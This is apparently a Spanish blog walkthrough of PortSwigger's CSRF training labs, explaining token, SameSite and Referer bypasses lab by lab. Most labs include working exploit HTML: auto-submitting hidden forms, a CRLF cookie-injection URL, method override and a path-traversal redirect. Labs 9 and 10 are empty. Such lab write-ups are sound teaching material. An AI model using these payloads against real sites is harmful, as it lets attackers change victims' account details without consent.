🕸️ Cross-Site Request Forgery (CSRF)
Explicación acerca de Cross-Site Request Forgery (CSRF)
Copyright © 2010-2025 Freepik Company S.L.
📋 Índice de Contenido
💡¿Qué es el CSRF?
Cross-Site Request Forgery (CSRF) es una vulnerabilidad web que permite a un atacante forzar a un usuario autenticado en una aplicación a ejecutar acciones no deseadas sin su consentimiento.
Para que un ataque CSRF sea efectivo, generalmente deben cumplirse ciertos requisitos:
- La víctima debe estar autenticada en la aplicación.
- El servidor debe enviar automáticamente las cookies de sesión del usuario.
- Debe existir en el servidor algún vector vulnerable que permita ejecutar la acción no deseada.
En esta sección del blog utilizaremos los laboratorios de PortSwigger para explicar, paso a paso, los distintos escenarios en los que puede producirse CSRF.
🧪Laboratorios
En caso de que queráis ver la resolución directa de algún laboratorio, podéis utilizar el siguiente índice:
- Lab 1: CSRF vulnerability with no defenses
- Lab 2: CSRF where token validation depends on request method
- Lab 3: CSRF where token validation depends on token being present
- Lab 4: CSRF where token is not tied to user session
- Lab 5: CSRF where token is tied to non-session cookie
- Lab 6: CSRF where token is duplicated in cookie
- Lab 7: SameSite Lax bypass via method override
- Lab 8: SameSite Strict bypass via client-side redirect
- Lab 9: SameSite Strict bypass via sibling domain
- Lab 10: SameSite Lax bypass via cookie refresh
- Lab 11: CSRF where Referer validation depends on header being present
- Lab 12: CSRF with broken Referer validation
Dado que los ataques CSRF no se clasifican estrictamente en grupos, sino más bien en diferentes formas de enfoque, abordaremos la resolución de los laboratorios de manera progresiva.
Lab 1
CSRF sin defensas
En este laboratorio, al igual que en muchos otros, se nos proporcionan unas credenciales, que en este caso son wiener:peter. Si iniciamos sesión con estas credenciales, observaremos que existe una opción para cambiar el correo. Al hacer clic en esta opción, se nos mostrará el siguiente formulario:
Podemos intentar cambiar el correo a, por ejemplo test@test.com y, para observar lo que ocurre internamente, podemos capturar la petición mediante Burp Suite.
Si modificamos el método de la petición a GET, veremos que no funciona, ya que el servidor indica que el método no es válido.
No obstante, al no existir ningún token de protección, podemos dirigirnos a nuestro exploit server para comprobar si un script básico funciona en esta ocasión.
En nuestro servidor atacante podemos insertar el siguiente código HTML:
<form action="https://0ae8008204767ac580040386003e00b3.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@hacked.com">
</form>
<script>document.forms[0].submit()</script>
Al enviar el enlace al usuario víctima, veremos que completamos el laboratorio con éxito, logrando cambiar su correo electrónico.
Esto es posible porque la víctima estaba autenticada en la página web y no existía ningún mecanismo de protección contra este tipo de ataques.
Lab 2
CSRF donde la validación del token depende del método de solicitud
Una vez más, se nos proporcionan las credenciales wiener:peter y volvemos a tener el mismo formulario para el cambio de correo.
En esta ocasión, si interceptamos la petición, observamos lo siguiente:
Como se puede apreciar, ahora contamos con un token CSRF, el cual se asigna al realizar el cambio y previene, en cierta medida, que esta sección pueda ser vulnerada.
Si eliminamos este token CSRF, la petición no se procesa porque falta el token. Sin embargo, si intentamos tramitar la petición mediante GET, observamos que, a pesar de la ausencia del token, el cambio se efectúa.
Con este conocimiento, podemos dirigirnos al exploit server y colocar el siguiente código:
<form action="https://0a72007c0411d4d1d32bf0ec009c00cc.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="hacked@hacked.com">
</form>
<script>document.forms[0].submit()</script>
De esta manera, se fuerza el envío de la petición mediante GET, evitando así la validación del token CSRF.
Lab 3
CSRF en el que la validación del token depende de que este esté presente
Una vez más, se nos proporcionan las credenciales wiener:peter y volvemos a tener el mismo formulario para el cambio de correo.
En este caso, si interceptamos la petición, podemos observar nuevamente que existe un token CSRF.
Si lo modificamos, la petición no se procesa porque el token es inválido. Sin embargo, si lo eliminamos por completo, el cambio se efectúa. Esto ocurre porque internamente el sistema solo verifica si el token es válido, pero no exige que esté presente.
Teniendo esto en cuenta, podemos regresar al exploit server e introducir el siguiente código:
<form action="https://0a52009d0333f46380751c0200bd0087.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@hacked.com">
</form>
<script>document.forms[0].submit()</script>
Lab 4
CSRF donde el token no está vinculado a la sesión del usuario
En este laboratorio tenemos dos usuarios distintos, cada uno con sus credenciales correspondientes: wiener:peter y carlos:montoya Abrimos dos pestañas y, tras interceptar una petición de cambio de correo para cada usuario, comprobamos lo siguiente:
- Cada usuario recibe un token CSRF diferente.
- Si intercambiamos los tokens (es decir, usamos el de wiener en carlos y viceversa), las solicitudes se procesan sin inconvenientes.
Esto significa que el servidor únicamente valida si el token es correcto, pero no lo asocia a una sesión concreta.
Además, al intentar reutilizar un token CSRF de una petición anterior, vemos que ya no funciona.
Esto indica que los tokens son de un solo uso.
Con esto en mente, podemos interceptar una nueva petición, guardar el token y dropear la solicitud, de forma que ese token queda generado pero no consumido.
Una vez hecho esto, nos dirigimos al exploit server y preparamos un formulario muy similar a los de laboratorios anteriores, donde se envíe una solicitud POST a la ruta de cambio de correo, incluyendo el token CSRF válido pero aún no utilizado:
<form action="https://0a00008c04782191809c037400dc00d0.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@hacked.com">
<input type="hidden" name="csrf" value="XtRS4slyxGhUfgzJARaUtqcSyLOko7iJ">
</form>
<script>document.forms[0].submit()</script>
De esta manera, conseguimos explotar la validación deficiente del token CSRF, completando el laboratorio.
Lab 5
CSRF donde el token está vinculado a una cookie que no es de sesión
Al igual que en el laboratorio anterior, volvemos a contar con los mismos usuarios (wiener y carlos).
Si interceptamos una petición para cada uno de ellos, vemos que tenemos el CSRF token y una cookie que va ligada a dicho token.
Si probamos a poner el CSRF token de wiener a carlos o viceversa, vemos que no nos deja, ya que este va ligado a la cookie y esta no la podemos modificar mediante un formulario.
Si indagamos un poco por la página, encontramos el campo de búsqueda que ya hemos visto en otros laboratorios.
Por ejemplo, si realizamos una búsqueda con la palabra test y volvemos a interceptar la petición, observamos que se nos añade una nueva cookie llamada lastsearch.
Esa cookie proviene directamente del parámetro ?search de la URL, por lo que podemos intentar jugar con él.
Si probamos a introducir, por ejemplo, un ; para salir del contexto del token actual y modificar las cookies, vemos que no es posible.
No obstante, podemos intentar realizar un salto de línea utilizando el retorno de carro (\r) y el propio salto de línea (\n) para así insertar nuevos tokens.
Podemos probar lo siguiente:
Donde, en csrfkey, introducimos un token válido de alguno de los usuarios y configuramos SameSite=None para evitar problemas al operar entre páginas diferentes.
Si probamos todo esto en una petición propia, vemos que funciona correctamente.
Por lo tanto, podemos ir al exploit server y forzar una búsqueda en el campo search, de manera que se modifique la cookie csrfkey, y posteriormente ejecutar la petición a change-email.
Todo esto lo llevamos a cabo con el siguiente código:
<form action="https://0ada000a031653d28052037900210040.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="csrf@afsefasefasef.com">
<input type="hidden" name="csrf" value="2nykYqEnxSMVqMnCxi8f2KGUMAiLHLgQ">
</form>
<img src="https://0ada000a031653d28052037900210040.web-security-academy.net/?search=hola%0d%0aSet-Cookie:%20csrfKey=zD1ppGOxNEP2lJqfqossVqUWclEqXxvR%3b%20SameSite=None" onerror="document.forms[0].submit();">
Con esto, el laboratorio estaría completo.
No obstante, vamos a explicar un poco mejor qué está pasando aquí. Para que aparezca el campo de última búsqueda en la sección de cookies —el cual es el que usamos para cambiar el token CSRF— primero debemos realizar una búsqueda.
Aquí entra en juego la imagen, que intenta cargar un recurso desde una URL. Sin embargo, esta URL en realidad corresponde a una petición al campo de búsqueda junto con el payload malicioso para modificar la cookie csrfkey.
Como obviamente esa imagen no va a cargarse correctamente, en caso de error hemos definido que se envíe el formulario que está arriba, el cual se encarga de realizar el cambio de email con el token CSRF asociado a la cookie que acabamos de modificar.
Lab 6
CSRF donde el token se duplica en la cookie
El proceso para resolver este laboratorio es exactamente el mismo que en el Lab 5, solo que en esta ocasión la cookie csrfkey y el token CSRF son idénticos.
Además, no necesitan ser válidos; únicamente deben coincidir entre sí.
Por lo tanto, el laboratorio se resuelve utilizando el mismo código que se mostró anteriormente:
<form action="https://0a9800dd0404852f80a0030b004300e6.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pwned@pwned.com">
<input type="hidden" name="csrf" value="fake">
</form>
<img src="https://0a9800dd0404852f80a0030b004300e6.web-security-academy.net/?search=hola%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();">
Lab 7
Omisión de SameSite Lax mediante la anulación del método
En este laboratorio, volvemos a contar únicamente con las credenciales de wiener:peter.
Para resolverlo, seguimos el mismo procedimiento de siempre: interceptamos la petición de cambio de correo y probamos a modificar el método de envío a GET para comprobar si funciona.
Una vez más, esto no es suficiente.
Sin embargo, se incorpora un método de sobreescritura, en el que podemos insertar &_method=POST al final de la URL, tal y como se aprecia en la siguiente imagen:
De esta manera, conseguimos engañar al servidor y realizar la petición utilizando GET.
Una vez comprendido este funcionamiento, nos dirigimos al exploit server y realizamos lo siguiente:
<script>
document.location = "https://0a6000a10360807fdd3a506a00530037.web-security-academy.net/my-account/change-email?email=pwned@pwnedt&_method=POST";
</script>
Lab 8
Omisión de SameSite Strict mediante redireccionamiento del lado del cliente
Una vez más, se nos proporcionan las credenciales wiener:peter y volvemos a contar con el mismo formulario para el cambio de correo.
Si interceptamos la petición, observamos que esta vez no se envía el token CSRF que normalmente se incluye en las solicitudes POST.
Esto nos indica que aparentemente no existe protección CSRF en este caso.
Por lo tanto, podemos dirigirnos al exploit server y probar el caso base:
<form action="https://0a9500ef033b464d80c703e7007f00d9.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pwned@pwned.com">
</form>
<script>document.forms[0].submit()</script>
Si probamos a hacer clic en ver exploit para comprobar si funciona con nuestra propia sesión, vemos que no funciona y que nos redirige directamente al panel de login.
Al interceptar todo el tráfico de esa consulta, observamos que cuando llegamos al servidor de la víctima no se nos ha asignado ninguna cookie de sesión. Por este motivo, el servidor nos dirige automáticamente al login para iniciar sesión.
Intentamos usar el método GET, y aunque la solicitud es permitida por esta vía, nos encontramos con el mismo problema de redirección al login.
Sin embargo, si en lugar de forzar un cambio de correo electrónico, forzamos una visita a la página, por ejemplo:
<script>
document.location = "https://0a9500ef033b464d80c703e7007f00d9.web-security-academy.net/post/4";
</script>
Vemos que ahora sí se nos asigna una cookie de sesión.
Además, nos damos cuenta de que en los posts existe un campo de formulario.
Si lo llenamos con cualquier valor y hacemos clic en enviar, observamos que, una vez publicado el comentario, el sistema nos redirige automáticamente al blog donde hemos hecho la publicación.
Al inspeccionar un poco más, descubrimos que esta redirección está controlada por un archivo JavaScript ubicado en /resources/js/commentConfirmationRedirect.js
Al revisar el contenido del archivo, encontramos el siguiente código:
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
Como podemos observar, el script está tomando el número de post a partir de un parámetro y lo concatena a la URL para redirigirnos allí.
No obstante, ese parámetro es controlable por nosotros, por lo que podemos probar valores como ?postId=../ para verificar si es posible realizar un path traversal.
Si forzamos una búsqueda hacia ese post, vemos que terminamos en la página inicial de la web.
Esto nos permite combinar varias cosas:
- Al realizar una búsqueda, se nos asigna una cookie de sesión.
- La aplicación permite cambios de email mediante
GET.
Por lo tanto, podemos forzar una búsqueda hacia un post usando path traversal, conseguir que la sesión no se cierre, y directamente en la URL acceder a la sección de cambio de email.
Todo esto quedaría de la siguiente manera:
location="https://0a9500ef033b464d80c703e7007f00d9.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=pene%40pwned.com%26submit=1";
Lab 9
Omisión de SameSite Strict a través de un dominio hermano
Lab 10
Omisión de SameSite Lax mediante la actualización de cookies
Lab 11
CSRF donde la validación del Referer depende de la presencia del encabezado
Una vez más, se nos proporcionan las credenciales wiener:peter y volvemos a contar con el mismo formulario para el cambio de correo.
Si interceptamos una petición de cambio de email, podemos observar el header Referer, que será el elemento con el que tendremos que jugar para resolver este laboratorio.
El header HTTP Referer es un campo que el navegador añade automáticamente en las peticiones para indicar la URL de la página desde la que se originó la solicitud. Esto ayuda al servidor a determinar si la petición proviene de la misma web o de un sitio externo.
En este caso, si eliminamos el header y enviamos la petición, veremos que en lugar de dar un error, la solicitud se procesa correctamente. Esto ocurre porque el servidor únicamente valida si el valor del origen es correcto, pero no comprueba si el header está presente.
A raíz de esto, podemos ir al exploit server y enviar el siguiente payload:
<html>
<head>
<meta name="referrer"content="no-referrer">
</head>
<form action="https://0a2600fa03c988d580f4adf9002300c0.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pwned@pwned.com">
</form>
<script>
document.forms[0].submit()
</script>
</html>
Lab 12
CSRF con validación Referer defectuosa
Una vez más, se nos proporcionan las credenciales wiener:peter y volvemos a contar con el mismo formulario para el cambio de correo.
Al igual que en el Lab 11, debemos jugar con el header Referer para resolver el laboratorio.
No obstante, en esta ocasión, si interceptamos la petición y tratamos de eliminar completamente el header, la solicitud no se envía.
Sin embargo, si añadimos o eliminamos algunos caracteres, la petición sigue pasando.
Esto nos hace intuir que el servidor realiza algún tipo de validación del origen, pero no de manera estricta; parece que permite variaciones, posiblemente para subdominios u otras modificaciones menores en la URL. Podemos irnos al exploit server y, en lugar de hospedar el código malicioso bajo la ruta /exploit como hemos hecho siempre, podemos, por ejemplo, usar como ruta el mismo nombre de la URL del servidor víctima.
De esta forma, cuando se realiza la validación, el servidor revisa si coinciden ciertos caracteres. Al enviar la petición desde exploit-server/dominio-víctima, en el header Referer aparecerá nuestro servidor malicioso, pero también incluirá todo el dominio real de la víctima, lo que permite que la validación pase correctamente.
Además, es importante añadir el siguiente header en nuestra página maliciosa Referrer-Policy: unsafe-url.
Esto asegura que el Referer envíe toda la ruta y no solo la URL base.
Todo esto se vería de la siguiente manera: